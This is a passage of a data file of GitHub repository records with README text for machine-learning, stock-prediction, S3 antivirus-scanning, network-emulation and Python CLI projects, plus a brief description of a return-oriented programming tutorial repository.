policies](https://www.samplefactory.dev/07-advanced-topics/multi-policy-training/) at once on one or many GPUs\n* Population-Based Training ([PBT](https://www.samplefactory.dev/07-advanced-topics/multi-policy-training/))\n* Discrete, continuous, hybrid action spaces\n* Vector-based, image-based, dictionary observation spaces\n* Automatically creates a model architecture by parsing action/observation space specification. Supports [custom model architectures](https://www.samplefactory.dev/03-customization/custom-models/)\n* Library is designed to be imported into other projects, [custom environments](https://www.samplefactory.dev/03-customization/custom-environments/) are first-class citizens\n* Detailed [WandB and Tensorboard summaries](https://www.samplefactory.dev/05-monitoring/metrics-reference/), [custom metrics](https://www.samplefactory.dev/05-monitoring/custom-metrics/)\n* [HuggingFace \ud83e\udd17 integration](https://www.samplefactory.dev/10-huggingface/huggingface/) (upload trained models and metrics to the Hub)\n* [Multiple](https://www.samplefactory.dev/09-environment-integrations/mujoco/) [example](https://www.samplefactory.dev/09-environment-integrations/atari/) [environment](https://www.samplefactory.dev/09-environment-integrations/vizdoom/) [integrations](https://www.samplefactory.dev/09-environment-integrations/dmlab/) with tuned parameters and trained models\n\nThis Readme provides only a brief overview of the library.\nVisit full documentation at [https://samplefactory.dev](https://samplefactory.dev) for more details.\n\n## Installation\n\nJust install from PyPI:\n\n```pip install sample-factory```\n\nSF is known to work on Linux and macOS. There is no Windows support at this time.\nPlease refer to the [documentation](https://samplefactory.dev) for additional environment-specific installation notes.\n\n## Quickstart\n\nUse command line to train an agent using one of the existing integrations, e.g. Mujoco (might need to run `pip install sample-factory[mujoco]`):\n\n```bash\npython -m sf_examples.mujoco.train_mujoco --env=mujoco_ant --experiment=Ant --train_dir=./train_dir\n```\n\nStop the experiment (Ctrl+C) when the desired performance is reached and then evaluate the agent:\n\n```bash\npython -m sf_examples.mujoco.enjoy_mujoco --env=mujoco_ant --experiment=Ant --train_dir=./train_dir\n```\n\nDo the same in a pixel-based VizDoom environment (might need to run `pip install sample-factory[vizdoom]`, please also see docs for VizDoom-specific instructions):\n\n```bash\npython -m sf_examples.vizdoom.train_vizdoom --env=doom_basic --experiment=DoomBasic --train_dir=./train_dir --num_workers=16 --num_envs_per_worker=10 --train_for_env_steps=1000000\npython -m sf_examples.vizdoom.enjoy_vizdoom --env=doom_basic --experiment=DoomBasic --train_dir=./train_dir\n```\n\nMonitor any running or completed experiment with Tensorboard:\n\n```bash\ntensorboard --logdir=./train_dir\n```\n(or see the docs for WandB integration).\n\nTo continue from here, copy and modify one of the existing env integrations to train agents in your own custom environment. We provide\nexamples for all kinds of supported environments, please refer to the [documentation](https://samplefactory.dev) for more details.\n\n## Acknowledgements\n\nThis project would not be possible without amazing contributions from many people. I would like to thank:\n\n* [Vladlen Koltun](https://vladlen.info) for amazing guidance and support, especially in the early stages of the project, for\nhelping me solidify the ideas that eventually became this library.\n* My academic advisor [Gaurav Sukhatme](https://viterbi.usc.edu/directory/faculty/Sukhatme/Gaurav) for supporting this project\nover the years of my PhD and for being overall an awesome mentor.\n* [Zhehui Huang](https://zhehui-huang.github.io/) for his contributions to the original ICML submission, his diligent work on\ntesting and evaluating the library and for adopting it in his own research.\n* [Edward Beeching](https://edbeeching.github.io/) for his numerous awesome contributions to the codebase, including\nhybrid action distributions, new version of the custom model builder, multiple environment integrations, and also\nfor promoting the library through the HuggingFace integration!\n* [Andrew Zhang](https://andrewzhang505.github.io/) and [Ming Wang](https://www.mingwang.me/) for numerous contributions to the codebase and documentation during their HuggingFace internships!\n* [Thomas Wolf](https://thomwolf.io/) and others at HuggingFace for the incredible (and unexpected) support and for the amazing\nwork they are doing for the open-source community.\n* [Erik Wijmans](https://wijmans.xyz/) for feedback and insights and for his awesome implementation of RNN backprop using PyTorch's `PackedSequence`, multi-layer RNNs, and other features!\n* [Tushar Kumar](https://www.linkedin.com/in/tushartk/) for contributing to the original paper and for his help\nwith the [fast queue implementation](https://github.com/alex-petrenko/faster-fifo).\n* [Costa Huang](https://costa.sh/) for developing CleanRL, for his work on benchmarking RL algorithms, and for awesome feedback\nand insights!\n* [Denys Makoviichuk](https://github.com/Denys88/rl_games) for developing rl_games, a very fast RL library, for inspiration and \nfeedback on numerous features of this library (such as return normalizations, adaptive learning rate, and others).\n* [Eugene Vinitsky](https://eugenevinitsky.github.io/) for adopting this library in his own research and for his valuable feedback.\n* All my labmates at RESL who used Sample Factory in their projects and provided feedback and insights!\n\nHuge thanks to all the people who are not mentioned here for your code contributions, PRs, issues, and questions!\nThis project would not be possible without a community!\n\n## Citation\n\nIf you use this repository in your work or otherwise wish to cite it, please make reference to our ICML2020 paper.\n\n```\n@inproceedings{petrenko2020sf,\n  author    = {Aleksei Petrenko and\n               Zhehui Huang and\n               Tushar Kumar and\n               Gaurav S. Sukhatme and\n               Vladlen Koltun},\n  title     = {Sample Factory: Egocentric 3D Control from Pixels at 100000 {FPS}\n               with Asynchronous Reinforcement Learning},\n  booktitle = {Proceedings of the 37th International Conference on Machine Learning,\n               {ICML} 2020, 13-18 July 2020, Virtual Event},\n  series    = {Proceedings of Machine Learning Research},\n  volume    = {119},\n  pages     = {7652--7662},\n  publisher = {{PMLR}},\n  year      = {2020},\n  url       = {http://proceedings.mlr.press/v119/petrenko20a.html},\n  biburl    = {https://dblp.org/rec/conf/icml/PetrenkoHKSK20.bib},\n  bibsource = {dblp computer science bibliography, https://dblp.org}\n}\n```\n\nFor questions, issues, inquiries please join Discord. \nGithub issues and pull requests are welcome! Check out the [contribution guidelines](https://www.samplefactory.dev/community/contribution/).\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "sebastianheinz/stockprediction", "link": "https://github.com/sebastianheinz/stockprediction", "tags": [], "stars": 513, "description": "Data and code of my Medium story on stock prediction with TensorFlow", "lang": "Python", "repo_lang": "", "readme": "# A simple deep learning model for stock prediction using TensorFlow\n\nThis repository contains the Python script as well as the source dataset from my Medium.com article [\"A simple deep learning model for stock prediction using TensoFlow\"](https://medium.com/mlreview/a-simple-deep-learning-model-for-stock-price-prediction-using-tensorflow-30505541d877).\n\nPlease note, that the dataset is zipped due to Github file size restrictions. Feel free to clone and fork! :)\n\nIf you need any help in developing deep learning models in Python and TensorFlow contact my [\"data science consulting company STATWORX\"](https://www.statworx.com/de/data-science/).\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "philipxjm/Deep-Convolution-Stock-Technical-Analysis", "link": "https://github.com/philipxjm/Deep-Convolution-Stock-Technical-Analysis", "tags": ["stock-price-prediction", "convolutional-neural-networks", "neural-network", "technical-analysis", "stock-market"], "stars": 513, "description": "Uses Deep Convolutional Neural Networks (CNNs) to model the stock market using technical analysis. Predicts the future trend of stock selections.", "lang": "Python", "repo_lang": "", "readme": "# Neural Stock Market Prediction\nUses Deep Convolutional Neural Networks (CNNs) to model the stock market using technical analysis. Predicts the future trend of stock selections.\n\n## How does it work?\nConvolutional neural networks are designed to recognize complex patterns and features in images. It works by dividing an image up into multiple overlapping perceptive fields and running a myriad of trainable filters through them, capturing basic features and patterns. This process is repeated several times, and as the filtered image is ran through more filters, deeper and more meaningful features are extracted and quantified. For example, to recognize an image of a car we might have several filters that are sensitive to wheels, or windows, or exhaust pipes, or licence plates... and all of the results of these filters are gathered and quantified into a final classifier.\n\n<img align=\"center\" src=\"http://ufldl.stanford.edu/tutorial/images/Cnn_layer.png\" alt=\"CNN\">\n\nOK, that's great, but how does this tie in to stock analysis? Here we introduce the study of technical analysis. I'll let Investopedia's words describe it: \"Technical analysis is a trading tool employed to evaluate securities and attempt to forecast their future movement by analyzing statistics gathered from trading activity, such as price movement and volume. Unlike fundamental analysts who attempt to evaluate a security's intrinsic value, technical analysts focus on charts of price movement and various analytical tools to evaluate a security's strength or weakness and forecast future price changes.\" In other words, technical analysis focuses on the movement patterns and trading behaviors of stock selections to pinpoint a stock's future trend. Wait a minute, if technical analysis works by analysing the movement patterns of stocks, we can use CNN to model this analytical technique!\n\nFor example, we would have some filters that are sensitive to shortterm uptrends, and they will be combined by fully connected layers to be sensitive to longterm uptrends. The same goes for some complex patterns such as shortterm floats, or an overall downward trend capture.\n\nAs previously mentioned, CNN works by stacking several filters on top of each other to form complex feature-sensitive filters; if we were to treat stock data as images, we can apply CNN to it and extract useful and deep information. How do we go about this?\n\nInstead of convolving a 2D image, we convolved a 1D image, since stock data is linear and is represented as an 1D tensor.\n\n```python\ndef conv1d(input, output_dim,\n           conv_w=9, conv_s=2,\n           padding=\"SAME\", name=\"conv1d\",\n           stddev=0.02, bias=False):\n  with tf.variable_scope(name):\n    w = tf.get_variable('w', [conv_w, input.get_shape().as_list()[-1], output_dim],\n      initializer=tf.truncated_normal_initializer(stddev=stddev))\n    c = tf.nn.conv1d(input, w, conv_s, padding=padding)\n\n    if bias:\n      b = tf.get_variable('b', [output_dim], initializer=tf.constant_initializer(0.0))\n      return c + b\n\n    return c\n```\n\nAlso, the input images is in the shape ```[batch_size, 128, 5]```, the moving-window (the length of data we will be looking at in one batch) the five channels being ```[Open, High, Low, Close, Volume]```, all information I deemed important for technical analysis.\n\nAfter several convolutional layers and batchnorms later, we arrive at a tensor sized ```[batch_size, 2, 1024]```, which we then run through several softmax layers and finally a sigmoid activation to result in a tensor sized ```[batch_size, 2]```, with two values, one representing the bullish confidence, and the other one the bearish confidence.\n\n## Materials for Consideration\n|Name|Link|\n|---|---|\n|Historical Data|<https://quantquote.com/historical-stock-data>|\n|Description of Technical Analysis|<http://www.investopedia.com/terms/t/technicalanalysis.asp>|\n|Berkeley paper on ANN-based analysis|<http://www.cs.berkeley.edu/~akar/IITK_website/EE671/report_stock.pdf>|\n\n## Data Format\n\n`19991118,0,42.2076,46.382,37.4581,39.1928,43981812.87`\n\n|Date|Time|Open|High|Low|Close|Volume|\n|---|---|---|---|---|---|---|\n|19991118|0|42.2076|46.382|37.4581|39.1928|43981812.87|\n\n## Usage\n\nThe trained model is proprietary, but you are absolutely welcome to train your own using my code.\n\nYou must have python 3.5+ and tensorflow installed, tensorflow-gpu highly recommended as the training requires a lot of computational power.\n\n```pip install tensorflow-gpu```\n\n```git clone https://github.com/philipxjm/Convolutional-Neural-Stock-Market-Technical-Analyser.git```\n\n```cd Convolutional-Neural-Stock-Market-Technical-Analyser```\n\n```python stock_model.py```\n\nOf course, you have to tinker with the hyper parameters, archeteture of the encoder, and the dataset setup if you want to achieve good results. Good luck and make some money.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "bluesentry/bucket-antivirus-function", "link": "https://github.com/bluesentry/bucket-antivirus-function", "tags": [], "stars": 513, "description": "Serverless antivirus for cloud storage.", "lang": "Python", "repo_lang": "", "readme": "# bucket-antivirus-function\n\n[![CircleCI](https://circleci.com/gh/upsidetravel/bucket-antivirus-function.svg?style=svg)](https://circleci.com/gh/upsidetravel/bucket-antivirus-function)\n\nScan new objects added to any s3 bucket using AWS Lambda. [more details in this post](https://engineering.upside.com/s3-antivirus-scanning-with-lambda-and-clamav-7d33f9c5092e)\n\n## Features\n\n- Easy to install\n- Send events from an unlimited number of S3 buckets\n- Prevent reading of infected files using S3 bucket policies\n- Accesses the end-user\u2019s separate installation of\nopen source antivirus engine [ClamAV](http://www.clamav.net/)\n\n## How It Works\n\n![architecture-diagram](../master/images/bucket-antivirus-function.png)\n\n- Each time a new object is added to a bucket, S3 invokes the Lambda\nfunction to scan the object\n- The function package will download (if needed) current antivirus\ndefinitions from a S3 bucket. Transfer speeds between a S3 bucket and\nLambda are typically faster and more reliable than another source\n- The object is scanned for viruses and malware.  Archive files are\nextracted and the files inside scanned also\n- The objects tags are updated to reflect the result of the scan, CLEAN\nor INFECTED, along with the date and time of the scan.\n- Object metadata is updated to reflect the result of the scan (optional)\n- Metrics are sent to [DataDog](https://www.datadoghq.com/) (optional)\n- Scan results are published to a SNS topic (optional) (Optionally choose to only publish INFECTED results)\n- Files found to be INFECTED are automatically deleted (optional)\n\n## Installation\n\n### Build from Source\n\nTo build the archive to upload to AWS Lambda, run `make all`.  The build process is completed using\nthe [amazonlinux](https://hub.docker.com/_/amazonlinux/) [Docker](https://www.docker.com)\n image.  The resulting archive will be built at `build/lambda.zip`.  This file will be\n uploaded to AWS for both Lambda functions below.\n\n### Create Relevant AWS Infra via CloudFormation\n\nUse CloudFormation with the `cloudformation.yaml` located in the `deploy/` directory to quickly spin up the AWS infra needed to run this project. CloudFormation will create:\n\n- An S3 bucket that will store AntiVirus definitions.\n- A Lambda Function called `avUpdateDefinitions` that will update the AV Definitions in the S3 Bucket every 3 hours.\nThis function accesses the user\u2019s above S3 Bucket to download updated definitions using `freshclam`.\n- A Lambda Function called `avScanner` that is triggered on each new S3 object creation which scans the object and tags it appropriately. It is created with `1600mb` of memory which should be enough, however if you start to see function timeouts, this memory may have to be bumped up. In the past, we recommended using `1024mb`, but that has started causing Lambda timeouts and bumping this memory has resolved it.\n\nRunning CloudFormation, it will ask for 2 inputs for this stack:\n\n1. BucketType: `private` (default) or `public`. This is applied to the S3 bucket that stores the AntiVirus definitions. We recommend to only use `public` when other AWS accounts need access to this bucket.\n2. SourceBucket: [a non-empty string]. The name (do not include `s3://`) of the S3 bucket that will have its objects scanned. _Note - this is just used to create the IAM Policy, you can add/change source buckets later via the IAM Policy that CloudFormation outputs_\n\nAfter the Stack has successfully created, there are 3 manual processes that still have to be done:\n\n1. Upload the `build/lambda.zip` file that was created by running `make all` to the `avUpdateDefinitions` and `avScanner` Lambda functions via the Lambda Console.\n2. To trigger the Scanner function on new S3 objects, go to the `avScanner` Lambda function console, navigate to `Configuration` -> `Trigger` -> `Add Trigger` -> Search for S3, and choose your bucket(s) and select `All object create events`, then click `Add`. _Note - if you chose more than 1 bucket as the source, or chose a different bucket than the Source Bucket in the CloudFormation parameter, you will have to also edit the IAM Role to reflect these new buckets (see \"Adding or Changing Source Buckets\")_\n3. Navigate to the `avUpdateDefinitions` Lambda function and manually trigger the function to get the initial Clam definitions in the bucket (instead of waiting for the 3 hour trigger to happen). Do this by clicking the `Test` section, and then clicking the orange `test` button. The function should take a few seconds to execute, and when finished you should see the `clam_defs` in the `av-definitions` S3 bucket.\n\n#### Adding or Changing Source Buckets\n\nChanging or adding Source Buckets is done by editing the `AVScannerLambdaRole` IAM Role. More specifically, the `S3AVScan` and `KmsDecrypt` parts of that IAM Role's policy.\n\n### S3 Events\n\nConfigure scanning of additional buckets by adding a new S3 event to\ninvoke the Lambda function.  This is done from the properties of any\nbucket in the AWS console.\n\n![s3-event](../master/images/s3-event.png)\n\nNote: If configured to update object metadata, events must only be\nconfigured for `PUT` and `POST`. Metadata is immutable, which requires\nthe function to copy the object over itself with updated metadata. This\ncan cause a continuous loop of scanning if improperly configured.\n\n## Configuration\n\nRuntime configuration is accomplished using environment variables.  See\nthe table below for reference.\n\n| Variable | Description | Default | Required |\n| --- | --- | --- | --- |\n| AV_DEFINITION_S3_BUCKET | Bucket containing antivirus definition files |  | Yes |\n| AV_DEFINITION_S3_PREFIX | Prefix for antivirus definition files | clamav_defs | No |\n| AV_DEFINITION_PATH | Path containing files at runtime | /tmp/clamav_defs | No |\n| AV_SCAN_START_SNS_ARN | SNS topic ARN to publish notification about start of scan | | No |\n| AV_SCAN_START_METADATA | The tag/metadata indicating the start of the scan | av-scan-start | No |\n| AV_SIGNATURE_METADATA | The tag/metadata name representing file's AV type | av-signature | No |\n| AV_STATUS_CLEAN | The value assigned to clean items inside of tags/metadata | CLEAN | No |\n| AV_STATUS_INFECTED | The value assigned to clean items inside of tags/metadata | INFECTED | No |\n| AV_STATUS_METADATA | The tag/metadata name representing file's AV status | av-status | No |\n| AV_STATUS_SNS_ARN | SNS topic ARN to publish scan results (optional) | | No |\n| AV_STATUS_SNS_PUBLISH_CLEAN | Publish AV_STATUS_CLEAN results to AV_STATUS_SNS_ARN | True | No |\n| AV_STATUS_SNS_PUBLISH_INFECTED | Publish AV_STATUS_INFECTED results to AV_STATUS_SNS_ARN | True | No |\n| AV_TIMESTAMP_METADATA | The tag/metadata name representing file's scan time | av-timestamp | No |\n| CLAMAVLIB_PATH | Path to ClamAV library files | ./bin | No |\n| CLAMSCAN_PATH | Path to ClamAV clamscan binary | ./bin/clamscan | No |\n| FRESHCLAM_PATH | Path to ClamAV freshclam binary | ./bin/freshclam | No |\n| DATADOG_API_KEY | API Key for pushing metrics to DataDog (optional) | | No |\n| AV_PROCESS_ORIGINAL_VERSION_ONLY | Controls that only original version of an S3 key is processed (if bucket versioning is enabled) | False | No |\n| AV_DELETE_INFECTED_FILES | Controls whether infected files should be automatically deleted | False | No |\n| EVENT_SOURCE | The source of antivirus scan event \"S3\" or \"SNS\" (optional) | S3 | No |\n| S3_ENDPOINT | The Endpoint to use when interacting wth S3 | None | No |\n| SNS_ENDPOINT | The Endpoint to use when interacting wth SNS | None | No |\n| LAMBDA_ENDPOINT | The Endpoint to use when interacting wth Lambda | None | No |\n\n## S3 Bucket Policy Examples\n\n### Deny to download the object if not \"CLEAN\"\n\nThis policy doesn't allow to download the object until:\n\n1. The lambda that run Clam-AV is finished (so the object has a tag)\n2. The file is not CLEAN\n\nPlease make sure to check cloudtrail for the arn:aws:sts, just find the event open it and copy the sts.\nIt should be in the format provided below:\n\n```json\n {\n    \"Effect\": \"Deny\",\n    \"NotPrincipal\": {\n        \"AWS\": [\n            \"arn:aws:iam::<<aws-account-number>>:role/<<bucket-antivirus-role>>\",\n            \"arn:aws:sts::<<aws-account-number>>:assumed-role/<<bucket-antivirus-role>>/<<bucket-antivirus-role>>\",\n            \"arn:aws:iam::<<aws-account-number>>:root\"\n        ]\n    },\n    \"Action\": \"s3:GetObject\",\n    \"Resource\": \"arn:aws:s3:::<<bucket-name>>/*\",\n    \"Condition\": {\n        \"StringNotEquals\": {\n            \"s3:ExistingObjectTag/av-status\": \"CLEAN\"\n        }\n    }\n}\n```\n\n### Deny to download and re-tag \"INFECTED\" object\n\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Deny\",\n      \"Action\": [\"s3:GetObject\", \"s3:PutObjectTagging\"],\n      \"Principal\": \"*\",\n      \"Resource\": [\"arn:aws:s3:::<<bucket-name>>/*\"],\n      \"Condition\": {\n        \"StringEquals\": {\n          \"s3:ExistingObjectTag/av-status\": \"INFECTED\"\n        }\n      }\n    }\n  ]\n}\n```\n\n## Manually Scanning Buckets\n\nYou may want to scan all the objects in a bucket that have not previously been scanned or were created\nprior to setting up your lambda functions. To do this you can use the `scan_bucket.py` utility.\n\n```sh\npip install boto3\nscan_bucket.py --lambda-function-name=<lambda_function_name> --s3-bucket-name=<s3-bucket-to-scan>\n```\n\nThis tool will scan all objects that have not been previously scanned in the bucket and invoke the lambda function\nasynchronously. As such you'll have to go to your cloudwatch logs to see the scan results or failures. Additionally,\nthe script uses the same environment variables you'd use in your lambda so you can configure them similarly.\n\n## Testing\n\nThere are two types of tests in this repository. The first is pre-commit tests and the second are python tests. All of\nthese tests are run by CircleCI.\n\n### pre-commit Tests\n\nThe pre-commit tests ensure that code submitted to this repository meet the standards of the repository. To get started\nwith these tests run `make pre_commit_install`. This will install the pre-commit tool and then install it in this\nrepository. Then the github pre-commit hook will run these tests before you commit your code.\n\nTo run the tests manually run `make pre_commit_tests` or `pre-commit run -a`.\n\n### Python Tests\n\nThe python tests in this repository use `unittest` and are run via the `nose` utility. To run them you will need\nto install the developer resources and then run the tests:\n\n```sh\npip install -r requirements.txt\npip install -r requirements-dev.txt\nmake test\n```\n\n### Local lambdas\n\nYou can run the lambdas locally to test out what they are doing without deploying to AWS. This is accomplished\nby using docker containers that act similarly to lambda. You will need to have set up some local variables in your\n`.envrc.local` file and modify them appropriately first before running `direnv allow`. If you do not have `direnv`\nit can be installed with `brew install direnv`.\n\nFor the Scan lambda you will need a test file uploaded to S3 and the variables `TEST_BUCKET` and `TEST_KEY`\nset in your `.envrc.local` file. Then you can run:\n\n```sh\ndirenv allow\nmake archive scan\n```\n\nIf you want a file that will be recognized as a virus you can download a test file from the [EICAR](https://www.eicar.org/?page_id=3950)\nwebsite and uploaded to your bucket.\n\nFor the Update lambda you can run:\n\n```sh\ndirenv allow\nmake archive update\n```\n\n## License\n\n```text\nUpside Travel, Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n```\n\nClamAV is released under the [GPL Version 2 License](https://github.com/vrtadmin/clamav-devel/blob/master/COPYING)\nand all [source for ClamAV](https://github.com/vrtadmin/clamav-devel) is available\nfor download on Github.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "coreemu/core", "link": "https://github.com/coreemu/core", "tags": ["python", "network", "emulator", "emulation", "emulating-networks", "emane", "wireless", "rf"], "stars": 513, "description": "Common Open Research Emulator", "lang": "Python", "repo_lang": "", "readme": "# CORE\nCORE: Common Open Research Emulator\n\nCopyright (c)2005-2022 the Boeing Company.\n\nSee the LICENSE file included in this distribution.\n\n## About\nThe Common Open Research Emulator (CORE) is a tool for emulating\nnetworks on one or more machines. You can connect these emulated\nnetworks to live networks. CORE consists of a GUI for drawing\ntopologies of lightweight virtual machines, and Python modules for\nscripting network emulation.\n\n## Quick Start\nRequires Python 3.9+. More detailed instructions and install options can be found\n[here](https://coreemu.github.io/core/install.html).\n\n### Package Install\nGrab the latest deb/rpm from [releases](https://github.com/coreemu/core/releases).\n\nThis will install vnoded/vcmd, system dependencies, and CORE within a python\nvirtual environment at `/opt/core/venv`.\n```shell\nsudo <yum/apt> install -y ./<package>\n```\n\nThen install OSPF MDR from source:\n```shell\ngit clone https://github.com/USNavalResearchLaboratory/ospf-mdr.git\ncd ospf-mdr\n./bootstrap.sh\n./configure --disable-doc --enable-user=root --enable-group=root \\\n  --with-cflags=-ggdb --sysconfdir=/usr/local/etc/quagga --enable-vtysh \\\n  --localstatedir=/var/run/quagga\nmake -j$(nproc)\nsudo make install\n```\n\n### Script Install\nThe following should get you up and running on Ubuntu 22.04. This would\ninstall CORE into a python3 virtual environment and install\n[OSPF MDR](https://github.com/USNavalResearchLaboratory/ospf-mdr) from source.\n\n```shell\ngit clone https://github.com/coreemu/core.git\ncd core\n# install dependencies to run installation task\n./setup.sh\n# run the following or open a new terminal\nsource ~/.bashrc\n# Ubuntu\ninv install\n# CentOS\ninv install -p /usr\n```\n\n## Documentation & Support\nWe are leveraging GitHub hosted documentation and Discord for persistent\nchat rooms. This allows for more dynamic conversations and the\ncapability to respond faster. Feel free to join us at the link below.\n\n* [Documentation](https://coreemu.github.io/core/)\n* [Discord Channel](https://discord.gg/AKd7kmP)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "ne7ermore/torch-light", "link": "https://github.com/ne7ermore/torch-light", "tags": ["deep-learning", "pytorch", "reinforcement-learning"], "stars": 513, "description": "Deep-learning  by using Pytorch.  Basic nns like Logistic, CNN, RNN, LSTM and some examples are implemented by complex model. ", "lang": "Python", "repo_lang": "", "readme": "<p align=\"center\"><img width=\"40%\" src=\"pytorch_logo.png\" /></p>\n\n--------------------------------------------------------------------------------\n\nThis repository includes basics and advanced examples for deep learning by using [Pytorch](http://pytorch.org/).\n<br/>\nBasics which are basic nns like Logistic, CNN, RNN, LSTM are implemented with few lines of code, advanced examples are implemented by complex model.\n<br/>\nIt is better finish [Official Pytorch Tutorial](http://pytorch.org/tutorials/index.html) before this.\n\n##### Continue updating...\n\n## Tutorial\nGet tutorial series in [Blog](https://ne7ermore.github.io/) if know Chinese\n\n## Tabel of Pytorch Examples\n\n#### 1. Basics\n\n* [Cbow](https://github.com/ne7ermore/torch-light/tree/master/cbow)\n* [N-Gram](https://github.com/ne7ermore/torch-light/tree/master/ngram)\n* [CNN Text classfication](https://github.com/ne7ermore/torch-light/tree/master/cnn-text-classfication)\n* [LSTM Text classfication](https://github.com/ne7ermore/torch-light/tree/master/lstm-text-classfication)\n\n#### 2. Reinforcement Training\n* [AlphaGo-Zero](https://github.com/ne7ermore/torch-light/tree/master/alpha-zero)\n* [Image-Cap](https://github.com/ne7ermore/torch-light/tree/master/Image-Cap)\n* [Reinforced Translate](https://github.com/ne7ermore/torch-light/tree/master/reinforced-translate)\n* [Toy](https://github.com/ne7ermore/torch-light/tree/master/gym)\n\n#### 3. NLP\n* [Poetry VAE-NLG](https://github.com/ne7ermore/torch-light/tree/master/vae-nlg)\n* [Seq2seq](https://github.com/ne7ermore/torch-light/tree/master/seq2seq)\n* [BiLSTM CRF NER](https://github.com/ne7ermore/torch-light/tree/master/biLSTM-CRF)\n* [LSTM CNNs CRF](https://github.com/ne7ermore/torch-light/tree/master/LSTM-CNNs-CRF)\n* [Chinese Poetry NLG](https://github.com/ne7ermore/torch-light/tree/master/ch-poetry-nlg)\n* [BiMPM](https://github.com/ne7ermore/torch-light/tree/master/biMPM)\n* [Pair Ranking Cnn](https://github.com/ne7ermore/torch-light/tree/master/pair-ranking-cnn)\n* [BiLSTM CRF](https://github.com/ne7ermore/torch-light/tree/master/biLSTM-CRF-cut)\n* [Capsule Text classfication](https://github.com/ne7ermore/torch-light/tree/master/capsule-classfication)\n* [Retrieval Based Chatbots](https://github.com/ne7ermore/torch-light/tree/master/retrieval-based-chatbots)\n* [Hierarchical for Summarization and Classification](https://github.com/ne7ermore/torch-light/tree/master/hierarchical-sc)\n* [Deep SRL](https://github.com/ne7ermore/torch-light/tree/master/deep-srl)\n* [BERT](https://github.com/ne7ermore/torch-light/tree/master/BERT)\n* [Relation Network](https://github.com/ne7ermore/torch-light/tree/master/relation-network)\n* [Information Extraction](https://github.com/ne7ermore/torch-light/tree/master/information-extraction)\n* [Pointer Network](https://github.com/ne7ermore/torch-light/tree/master/pointer-network)\n* [coreference](https://github.com/ne7ermore/torch-light/tree/master/coreference)\n\n#### 4. Vision\n* [yolo-v3](https://github.com/ne7ermore/torch-light/tree/master/yolo-v3)\n* [DenseNet](https://github.com/ne7ermore/torch-light/tree/master/DenseNet)\n* [Neural Style](https://github.com/ne7ermore/torch-light/tree/master/neural-artistic-style)\n* [DC Gan](https://github.com/ne7ermore/torch-light/tree/master/dc-gan)\n* [Facial Beauty Prediction](https://github.com/ne7ermore/torch-light/tree/master/facial-beauty-prediction)\n\n#### 5. Special Things\n* [Customize](https://github.com/ne7ermore/torch-light/tree/master/Customize)\n\n#### 6. Speech\n* [Voice Conversion](https://github.com/ne7ermore/torch-light/tree/master/voice-conversion)\n\n## Getting Started\n\n### clone code\n```\n$ git clone git@github.com:ne7ermore/torch-light.git\n```\n### train\n\n```\n$ cd torch-light/project\n$ python3 main.py\n```\n\nor\n\n```\n$ cd torch-light/project\n$ python3 corpus.py\n$ python3 main.py\n```\n\nor\n\n```\n$ cd torch-light/project\n$ python3 corpus.py\n$ python3 train.py\n```\n\n## Citation\nIf you find this code useful for your research, please cite:\n```\n@misc{TaoTorchLight,\n  author = {Ne7ermore Tao},\n  title = {torch-light},\n  publisher = {GitHub},\n  year = {2020},\n  howpublished = {\\url{https://github.com/ne7ermore/torch-light}}\n}\n```\n\n## Contact\nFeel free to contact me if there is any question (Tao liaoyuanhuo1987@gmail.com).\nTao Ne7ermore/ [@ne7ermore](https://github.com/ne7ermore)\n\n## Dependencies\n* [Python 3.5](https://www.python.org)\n* [PyTorch 0.2.0](http://pytorch.org/)\n* [Numpy 1.13.1](http://www.numpy.org/)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "zhengmin1989/ROP_STEP_BY_STEP", "link": "https://github.com/zhengmin1989/ROP_STEP_BY_STEP", "tags": [], "stars": 513, "description": "\u4e00\u6b65\u4e00\u6b65\u5b66ROP", "lang": "Python", "repo_lang": "", "readme": "# ROP_STEP_BY_STEP\n\nAuthor Weibo: steamed rice spark http://www.weibo.com/zhengmin1989\n\nArticle address:\nhttp://drops.wooyun.org/author/%E8%92%B8%E7%B1%B3\n\nThe full name of ROP is Return-oriented programming (return-oriented programming), which is an advanced memory attack technology that can\nUsed to bypass various common defenses of modern operating systems (such as DEP, ASLR, etc.). In the tutorial we will bring linux_x86, linux_x64\nAnd the use of ROP in android (arm), welcome to learn.", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "python-cmd2/cmd2", "link": "https://github.com/python-cmd2/cmd2", "tags": ["python", "command-line", "cli", "terminal", "shell", "developer-tools", "auto-completion", "scripting", "unicode", "tab-completion", "subcommands"], "stars": 513, "description": "cmd2 - quickly build feature-rich and user-friendly interactive command line applications in Python", "lang": "Python", "repo_lang": "", "readme": "Application Name, Description\n[Jok3r](http://www.jok3r-framework.com),Network & Web Pentest Automation Framework\n[CephFS Shell](https://github.com/ceph/ceph),'[Ceph](https://ceph.com/) is a distributed object, block, and file storage platform'\n[psiTurk](https://psiturk.org),An open platform for science on Amazon Mechanical Turk\n[Poseidon](https://github.com/CyberReboot/poseidon),Leverages software-defined networks (SDNs) to acquire and then feed network traffic to a number of machine learning techniques.\n[Unipacker](https://github.com/unipacker/unipacker),Automatic and platform-independent unpacker for Windows binaries based on emulation\n[tomcatmanager](https://github.com/tomcatmanager/tomcatmanager),A command line tool and python library for managing a tomcat 